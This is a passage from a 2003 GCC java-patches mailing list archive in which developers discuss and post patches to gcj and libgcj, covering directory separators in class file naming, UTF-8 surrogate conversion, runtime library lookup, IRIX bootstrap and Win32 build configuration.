21:46:11 2003 --- jcf-write.c Sun Feb 23 23:41:33 2003 *************** make_class_file_name (clas) *** 3338,3341 **** --- 3338,3342 ---- char *r; struct stat sb; + char sep; cname = IDENTIFIER_POINTER (identifier_subst (DECL_NAME (TYPE_NAME (clas)), *************** make_class_file_name (clas) *** 3349,3357 **** dname = DECL_SOURCE_FILE (TYPE_NAME (clas)); slash = strrchr (dname, DIR_SEPARATOR); if (! slash) ! { ! dname = "."; ! slash = dname + 1; ! } t = strrchr (cname, DIR_SEPARATOR); if (t) --- 3350,3366 ---- dname = DECL_SOURCE_FILE (TYPE_NAME (clas)); slash = strrchr (dname, DIR_SEPARATOR); + #ifdef DIR_SEPARATOR_2 if (! slash) ! slash = strrchr (dname, DIR_SEPARATOR_2); ! #endif ! if (! slash) ! { ! dname = "."; ! slash = dname + 1; ! sep = DIR_SEPARATOR; ! } ! else ! sep = *slash; ! t = strrchr (cname, DIR_SEPARATOR); if (t) *************** make_class_file_name (clas) *** 3360,3364 **** --- 3369,3386 ---- else { + char *s; + dname = jcf_write_base_directory; + + s = strrchr (dname, DIR_SEPARATOR); + #ifdef DIR_SEPARATOR_2 + if (! s) + s = strrchr (dname, DIR_SEPARATOR_2); + #endif + if (s) + sep = *s; + else + sep = DIR_SEPARATOR; + slash = dname + strlen (dname); } *************** make_class_file_name (clas) *** 3366,3370 **** r = xmalloc (slash - dname + strlen (cname) + 2); strncpy (r, dname, slash - dname); ! r[slash - dname] = DIR_SEPARATOR; strcpy (&r[slash - dname + 1], cname); --- 3388,3392 ---- r = xmalloc (slash - dname + strlen (cname) + 2); strncpy (r, dname, slash - dname); ! r[slash - dname] = sep; strcpy (&r[slash - dname + 1], cname); *************** make_class_file_name (clas) *** 3378,3382 **** while (1) { ! char *s = strchr (dname, DIR_SEPARATOR); if (s == NULL) break; --- 3400,3404 ---- while (1) { ! char *s = strchr (dname, sep); if (s == NULL) break; *************** make_class_file_name (clas) *** 3387,3393 **** fatal_io_error ("can't create directory %s", r); ! *s = DIR_SEPARATOR; /* Skip consecutive separators. */ ! for (dname = s + 1; *dname && *dname == DIR_SEPARATOR; ++dname) ; } --- 3409,3415 ---- fatal_io_error ("can't create directory %s", r); ! *s = sep; /* Skip consecutive separators. */ ! for (dname = s + 1; *dname && *dname == sep; ++dname) ; } From java-patches-return-6260-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 18:52:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8822 invoked by alias); 23 Feb 2003 18:52:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8815 invoked from network); 23 Feb 2003 18:52:40 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Feb 2003 18:52:40 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n1E5-0000Hb-00 for ; Sun, 23 Feb 2003 19:51:49 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n1DU-0000Fs-00 for ; Sun, 23 Feb 2003 19:51:12 +0100 From: Ranjit Mathew Subject: Re: Patch for Preview: Escape DllMain in boehm-gc Date: Mon, 24 Feb 2003 00:23:36 +0530 Lines: 27 Message-ID: <3E5918B0.8E62012D@hotmail.com> References: <09XT7TNUP9531G73GA3YMK85FBJDSM.3e58fa92@p733> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en > Here is an attempt at the patch for this issue: > > http://gcc.gnu.org/ml/java/2003-02/msg00291.html > > From the messages, it seemed that all I had to do was > the #ifdef. Is more needed? Can you give your seal of > approval (or disdain)? :-) Well, for starters, I'm not the one to approve or disapprove of any of your patches - the approval for libgcj (as far as I've seen) comes mainly from Tom/Mark and that for the front-end from Andrew/Per. As for the patch itself, I believe that GC_DLL doesn't actually get defined by anyone in this release - this should get defined most likely if "--enable-shared" is given via changes in configure.in. Otherwise DllMain wouldn't get defined in the proper manner even if libgcj is being built as a DLL. Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6261-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 19:49:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29252 invoked by alias); 23 Feb 2003 19:49:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29244 invoked from network); 23 Feb 2003 19:49:44 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 23 Feb 2003 19:49:44 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1NJnib29059 for ; Sun, 23 Feb 2003 13:49:44 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 23 Feb 2003 13:49:49 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <3E5918B0.8E62012D@hotmail.com> Message-Id: Subject: Re: Patch for Preview: Escape DllMain in boehm-gc MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Ranjit, >:-) Well, for starters, I'm not the one to approve or >disapprove of any of your patches - the approval for >libgcj (as far as I've seen) comes mainly from Tom/Mark >and that for the front-end from Andrew/Per. I wasn't implying that you were; however, I see your approval as a necessary prerequisite to the patch being approved by the "higher-ups" :) >As for the patch itself, I believe that GC_DLL doesn't >actually get defined by anyone in this release - this >should get defined most likely if "--enable-shared" is >given via changes in configure.in. I had a sinking feeling this was the case, also after examining the code, but the messages seemed to indicate the contrary. My mistake. I'll go at this again and submit another patch. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6262-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 23:12:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29143 invoked by alias); 23 Feb 2003 23:12:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29135 invoked from network); 23 Feb 2003 23:12:39 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 23 Feb 2003 23:12:39 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18n5Hq-0002xf-00; Mon, 24 Feb 2003 00:11:58 +0100 Subject: Re: Partial fix for libgcj/9802 From: Mark Wielaard To: James Clark Cc: java-patches@gcc.gnu.org, Jesse Rosenstock In-Reply-To: <3E581152.4030507@jclark.com> References: <1045937012.3332.605.camel@elsschot> <3E581152.4030507@jclark.com> Content-Type: multipart/mixed; boundary="=-5ZWLrxDuwn3TXt4AIR9R" Organization: Message-Id: <1046041940.3352.975.camel@elsschot> Mime-Version: 1.0 Date: 24 Feb 2003 00:12:20 +0100 --=-5ZWLrxDuwn3TXt4AIR9R Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, (I noticed that your email did not arrive on the mailinglist somehow.) Note that the reason for the minimal 5 line patch were that we are very close to a release. I hoped to solve the issue with UTF-8 surrogates without impacting any other encoding issues. Otherwise I am afraid that "the powers that be" will not accept the change for 3.3. That said, I want to thank you very much for following up on this since the hacker in me really want to see perfect code. On Sun, 2003-02-23 at 01:09, James Clark wrote: > Instead of moving bytes_todo from Output_UTF8 into UnicodeToBytes, I > would suggest adding a public method to UnicodeToBytes: > > public boolean havePendingBytes() { > return true; > } Better to default to false to minimize impact to the other decoders. > and then override this in Output_UTF8 > > public boolean havePendingBytes() { > return bytes_todo > 0; > } > > The reason is to give more flexibility to other converters. They may > not work by having a count of pending bytes. For example, SJIS has at > most one pending byte, so it has a field that is either -1 or the value > of that byte. Thus in Output_SJIS you would add: > > public boolean havePendingBytes() { > return pending >= 0; > } > > Similarly, in Output_EUCJIS you would add: > > public boolean havePendingBytes() { > return pending1 >= 0; > } > > Not sure about Output_iconv. It should be simple enough since my iconv manual says: 4. The output buffer has no more room for the next converted character. In this case it sets errno to E2BIG and returns (size_t)(-1). But the natIconv.cc source code says: // Note that we can't check `errno' because // glibc 2.1.3 doesn't set it correctly. We could check it if we // really needed to, but we'd have to disable support for 2.1.3. Don't know how important supporting 2.1.3 is at this time. (Tom, I assume you wrote this comment?) But for now we can just always return false so the behaviour is the same as before. > Also I think there's scope for improvement in String::getBytes. With > your change we have > [...] > Now in the case where todo == 0 && converter->bytes_todo > 0, > converter->write will return 0, thus causing buffer to be gratuitously > reallocated. How about this instead? > > while (todo > 0 || converter->bytes_todo > 0) > { > converter->setOutput(buffer, bufpos); > int converted = converter->write(this, offset, todo, NULL); > if (converted == 0 && bufpos == converter->count) > { > buflen *= 2; > jbyteArray newbuffer = JvNewByteArray(buflen); > memcpy (elements (newbuffer), elements (buffer), bufpos); > buffer = newbuffer; > } > else > bufpos = converter->count > offset += converted; > todo -= converted; > } Looks good, but I would use your newly introduced hasPendingBytes() which seems a little bit more robust. How does the following look: 2002-02-22 Mark Wielaard James Clark Fix for PR libgcj/8738: * gnu/gcj/convert/UnicodeToBytes.java (havePendingByes): New method. * gnu/gcj/convert/Output_SJIS.java (havePendingByes): Likewise. * gnu/gcj/convert/Output_EUCJIS.java (havePendingByes): Likewise. * gnu/gcj/convert/Output_UTF8.java (havePendingByes): Likewise. (write): Always decrease avail when count is increased. * java/lang/natString.cc (getByes): Check converter havePendingBytes(). It passes the new surrogate Mauve tests (and introduces no regressions). Cheers, Mark --=-5ZWLrxDuwn3TXt4AIR9R Content-Disposition: inline; filename=convert_2.patch Content-Type: text/x-patch; name=convert_2.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/lang/natString.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natString.cc,v retrieving revision 1.27 diff -u -r1.27 natString.cc --- java/lang/natString.cc 13 Jun 2002 18:16:26 -0000 1.27 +++ java/lang/natString.cc 23 Feb 2003 22:28:04 -0000 @@ -1,6 +1,6 @@ // natString.cc - Implementation of java.lang.String native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -586,12 +586,12 @@ jint offset = 0; gnu::gcj::convert::UnicodeToBytes *converter = gnu::gcj::convert::UnicodeToBytes::getEncoder(enc); - while (todo > 0) + while (todo > 0 || converter->havePendingBytes()) { converter->setOutput(buffer, bufpos); int converted = converter->write(this, offset, todo, NULL); bufpos = converter->count; - if (converted == 0) + if (converted == 0 && converter->havePendingBytes()) { buflen *= 2; jbyteArray newbuffer = JvNewByteArray(buflen); Index: gnu/gcj/convert/Output_EUCJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_EUCJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_EUCJIS.java --- gnu/gcj/convert/Output_EUCJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_EUCJIS.java 23 Feb 2003 22:28:04 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending1 >= 0; + } int pending1 = -1; int pending2; Index: gnu/gcj/convert/Output_SJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_SJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_SJIS.java --- gnu/gcj/convert/Output_SJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_SJIS.java 23 Feb 2003 22:28:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending >= 0; + } int pending = -1; } Index: gnu/gcj/convert/Output_UTF8.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_UTF8.java,v retrieving revision 1.6 diff -u -r1.6 Output_UTF8.java --- gnu/gcj/convert/Output_UTF8.java 8 Aug 2000 17:35:32 -0000 1.6 +++ gnu/gcj/convert/Output_UTF8.java 23 Feb 2003 22:28:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000 Free Software Foundation +/* Copyright (C) 1999, 2000, 2003 Free Software Foundation This file is part of libgcj. @@ -104,6 +104,7 @@ { value = (hi_part - 0xD800) * 0x400 + (ch - 0xDC00) + 0x10000; buf[count++] = (byte) (0xF0 | (value >> 18)); + avail--; bytes_todo = 3; hi_part = 0; } @@ -118,4 +119,10 @@ } return inpos - start_pos; } + + public boolean havePendingBytes() + { + return bytes_todo > 0; + } + } Index: gnu/gcj/convert/UnicodeToBytes.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/UnicodeToBytes.java,v retrieving revision 1.9 diff -u -r1.9 UnicodeToBytes.java --- gnu/gcj/convert/UnicodeToBytes.java 18 Aug 2001 03:56:01 -0000 1.9 +++ gnu/gcj/convert/UnicodeToBytes.java 23 Feb 2003 22:28:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -144,6 +144,17 @@ int srcEnd = inpos + (inlength > work.length ? work.length : inlength); str.getChars(inpos, srcEnd, work, 0); return write(work, 0, srcEnd - inpos); + } + + /** + * Returns true when the converter has consumed some bytes that are + * not yet converted to characters because further continuation + * bytes are needed. Defaults to false, should be overridden by + * decoders that internally store some bytes. + */ + public boolean havePendingBytes() + { + return false; } /** Indicate that the converter is resuable. --=-5ZWLrxDuwn3TXt4AIR9R-- From java-patches-return-6263-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 23:49:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7529 invoked by alias); 23 Feb 2003 23:49:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7514 invoked from network); 23 Feb 2003 23:49:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Feb 2003 23:49:17 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA26688; Sun, 23 Feb 2003 16:49:10 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BDFEB4F828E; Sun, 23 Feb 2003 16:41:01 -0700 (MST) To: Andrew Haley Cc: Eric Blake , java-patches@gcc.gnu.org, Gcc Patch List Subject: Re: Patch: fix gcj deprecation support References: <87y949csua.fsf@fleche.redhat.com> <3E5704D4.4060108@email.byu.edu> <877kbrbnkg.fsf@fleche.redhat.com> <15960.49906.666429.198679@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! I'm UNEMPLOYED! Date: 23 Feb 2003 16:41:01 -0700 In-Reply-To: <15960.49906.666429.198679@cuddles.cambridge.redhat.com> Message-ID: <87vfzaa7le.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> OK. I'm not sure the branch really needs this, but go ahead Andrew> if you think so. Thanks. When this looked like it was going to be a smaller patch, I was planning to put it on the branch. Now I'm not planning to. Tom From java-patches-return-6264-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 00:52:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28550 invoked by alias); 24 Feb 2003 00:52:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28493 invoked from network); 24 Feb 2003 00:52:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Feb 2003 00:52:14 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA03937; Sun, 23 Feb 2003 17:52:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2E4F84F828E; Sun, 23 Feb 2003 17:44:00 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: minor runtime cleanup From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Does that mean I'm not a well-adjusted person?? Date: 23 Feb 2003 17:44:00 -0700 Message-ID: <877kbqa4of.fsf@fleche.redhat.com> Lines: 123 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. This cleans up Runtime a little. libltdl already has all the information needed to iterate over all loaded libraries. There's no need for us to duplicate this information. Tom Index: ChangeLog from Tom Tromey * java/lang/natRuntime.cc (libraries_size, libraries_count, libraries): Removed. (add_library): Removed. (_load): Don't call add_library. (loadLibraryInternal): Likewise. (init): Likewise. (lookup_data): New struct. (find_symbol): New function. (_Jv_FindSymbolInExecutable): Use it. Index: java/lang/natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.32 diff -u -r1.32 natRuntime.cc --- java/lang/natRuntime.cc 19 Feb 2003 16:28:37 -0000 1.32 +++ java/lang/natRuntime.cc 24 Feb 2003 00:21:35 -0000 @@ -60,48 +60,28 @@ AC_LTDL_PREOPEN to see if we do. */ extern const lt_dlsymlist lt_preloaded_symbols[1] = { { 0, 0 } }; -// We keep track of all the libraries loaded by this application. For -// now we use them to look up symbols for JNI. `libraries_size' holds -// the total size of the buffer. `libraries_count' is the number of -// items which are in use. -static int libraries_size; -static int libraries_count; -static lt_dlhandle *libraries; - -static void -add_library (lt_dlhandle lib) +struct lookup_data { - if (libraries_count == libraries_size) - { - int ns = libraries_size * 2; - if (ns == 0) - ns = 10; - lt_dlhandle *n = (lt_dlhandle *) _Jv_Malloc (ns * sizeof (lt_dlhandle)); - if (libraries) - { - memcpy (n, libraries, libraries_size * sizeof (lt_dlhandle)); - _Jv_Free (libraries); - } - libraries = n; - libraries_size = ns; - for (int i = libraries_count; i < libraries_size; ++i) - libraries[i] = NULL; - } - - libraries[libraries_count++] = lib; + const char *symname; + void *result; +}; + +static int +find_symbol (lt_dlhandle handle, lt_ptr_t data) +{ + lookup_data *ld = (lookup_data *) data; + ld->result = lt_dlsym (handle, ld->symname); + return ld->result != NULL; } void * _Jv_FindSymbolInExecutable (const char *symname) { - for (int i = 0; i < libraries_count; ++i) - { - void *r = lt_dlsym (libraries[i], symname); - if (r) - return r; - } - - return NULL; + lookup_data data; + data.symname = symname; + data.result = NULL; + lt_dlforeach (find_symbol, (lt_ptr_t) &data); + return data.result; } void @@ -237,8 +217,6 @@ throw new UnsatisfiedLinkError (str); } - add_library (h); - void *onload = lt_dlsym (h, "JNI_OnLoad"); #ifdef WIN32 @@ -289,8 +267,6 @@ buf[total] = '\0'; // FIXME: make sure path is absolute. lt_dlhandle h = lt_dlopenext (buf); - if (h != NULL) - add_library (h); return h != NULL; #else return false; @@ -302,9 +278,8 @@ { #ifdef USE_LTDL lt_dlinit (); - lt_dlhandle self = lt_dlopen (NULL); - if (self != NULL) - add_library (self); + // Make sure self is opened. + lt_dlopen (NULL); #endif } From java-patches-return-6265-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 01:46:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31097 invoked by alias); 24 Feb 2003 01:46:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31082 invoked from network); 24 Feb 2003 01:46:17 -0000 Received: from unknown (HELO mail.riotinto.com.au) (57.70.13.254) by 172.16.49.205 with SMTP; 24 Feb 2003 01:46:17 -0000 Received: from CORESMTP1.ex.riotinto.org ([127.0.0.1]) by mail.riotinto.com.au with Microsoft SMTPSVC(5.0.2195.5329); Mon, 24 Feb 2003 12:45:11 +1100 Received: from 203.3.63.116 by CORESMTP1.ex.riotinto.org (InterScan E-Mail VirusWall NT); Mon, 24 Feb 2003 12:45:11 +1100 Received: from tbspmail.corp.riotinto.org ([192.207.121.96]) by corehub1.ex.riotinto.org with Microsoft SMTPSVC(5.0.2195.5329); Mon, 24 Feb 2003 12:45:11 +1100 Received: from crtsmail.corp.riotinto.org ([203.4.72.10]) by tbspmail.corp.riotinto.org with Microsoft SMTPSVC(5.0.2195.5329); Mon, 24 Feb 2003 09:45:07 +0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: 3.4 PATCH: Fix IRIX 6.5.1[78] libjava bootstrap failure Date: Mon, 24 Feb 2003 12:45:05 +1100 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: From: "Billinghurst, David (CRTS)" To: "Rainer Orth" , Cc: X-OriginalArrivalTime: 24 Feb 2003 01:45:08.0030 (UTC) FILETIME=[5C5ABDE0:01C2DBA6] I have bootstrapped and tested this with 3.2 branch on Irix6.5.18m, and checked it in.=20 > -----Original Message----- > From: Rainer Orth [mailto:ro@TechFak.Uni-Bielefeld.DE] > Sent: Tuesday, 18 February 2003 5:05 AM > To: gcc-patches@gcc.gnu.org > Cc: java-patches@gcc.gnu.org; Bruce Korb; Billinghurst, David (CRTS) > Subject: 3.4 PATCH: Fix IRIX 6.5.1[78] libjava bootstrap failure > > > This patch fixes the libjava bootstrap failure described in the thread > starting at > > http://gcc.gnu.org/ml/java/2003-02/msg00037.html > > and in PR libgcj/9652. >=20 > Wed Feb 12 19:37:30 2003 Rainer Orth > > * fixinc/inclhack.def (irix_socklen_t): Fix broken IRIX 6.5.1[78] > socklen_t definition. > * fixinc/fixincl.x: Regenerate. > * fixinc/tests/base/sys/socket.h: New file. > Fixes PR libgcj/9652. From java-patches-return-6266-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 06:42:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4708 invoked by alias); 24 Feb 2003 06:42:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4701 invoked from network); 24 Feb 2003 06:42:03 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 24 Feb 2003 06:42:03 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1O6g2Y04662 for ; Mon, 24 Feb 2003 00:42:02 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Mon, 24 Feb 2003 00:41:52 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <4XFEFELHYXRL6RPWYS31C84YNH0895.3e59beb0@p733> Subject: Re: Patch for Preview: Cross-Configury Tweaks MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Ranjit, I am running into this issue when using this patch, I try to do a self-hosted build on mingw32. >+ if test -x "${builddotdot}/../../gcc/gcj${ac_cv_exeext}"; then >+ if test x"$build" = x"$host"; then >+ dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" >+ GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" >+ else >+ # Crossed-native build (host=target and host!=build) >+ CANADIAN=yes >+ NULL_TARGET=no >+ GCJ="${target_alias}-gcj -B`${PWDCMD-pwd}`/" >+ fi > else > CANADIAN=yes The mingw32 compiler used to do the build was configured (on Linux) with target = i386-pc-mingw32. When I do the configure on Win32 for the compiler I'm about to build, config.guess reports build=i686-pc-mingw32. Therefore, since build!=host, we are assuming a crossed-native build and the wrong gcj, etc. get picked up. To remedy this, I explicitly set BUILD=mingw32 rather than BUILD=`$GCC_SRC_DIR/config.guess`. What is your take on this? Are the semantics of a compiler building a compiler such that config.guess should not be used under these circumstances, or is the patch's logic faulty? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6267-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 13:11:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22802 invoked by alias); 24 Feb 2003 13:11:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22794 invoked from network); 24 Feb 2003 13:11:56 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.96) by 172.16.49.205 with SMTP; 24 Feb 2003 13:11:56 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 24 Feb 2003 05:11:55 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: Subject: Re: Patch for Preview: Win32 Process Implementation Date: Mon, 24 Feb 2003 18:43:49 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 24 Feb 2003 13:11:55.0889 (UTC) FILETIME=[4E270610:01C2DC06] > >IMO, your patch is partly correct (in putting quotes around > >cmdArray arguments) - the other "effects" can equally well be > >explained in a different manner, not needing any changes to > >GCJ per se. > > Here is another round at the Win32 Process patch I originally > submitted. Does it look okay now? AFAICT, yes. As mentioned earlier, since we want to make Tom's life easier while dealing with our patches, we should submit them in a format that makes it easy for him to directly apply it from within his mailer: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00231.html Just add your entry in the correct format to the top of the ChangeLog file, include that in the patch, and run your patch through "clcleanup" before submitting - that's all! Ranjit. From java-patches-return-6268-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 14:37:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15010 invoked by alias); 24 Feb 2003 14:37:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15000 invoked from network); 24 Feb 2003 14:37:22 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 24 Feb 2003 14:37:22 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1OEbMY30248 for ; Mon, 24 Feb 2003 08:37:22 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Mon, 24 Feb 2003 08:37:16 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch for Preview: Win32 Process Implementation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Hi Ranjit, >As mentioned earlier, since we want to make Tom's life easier >while dealing with our patches, we should submit them in a format >that makes it easy for him to directly apply it from within his >mailer: I had looked at your previous post, examined your most-recent patch and also the source of clcleanup before posting this. As far as I can tell, the patch I submitted contains tabs, not spaces. If Tom has any trouble applying this, or if you can point out why Tom would have trouble applying this, I promise I'll redo the patch. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6269-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 16:42:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3989 invoked by alias); 24 Feb 2003 16:42:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run 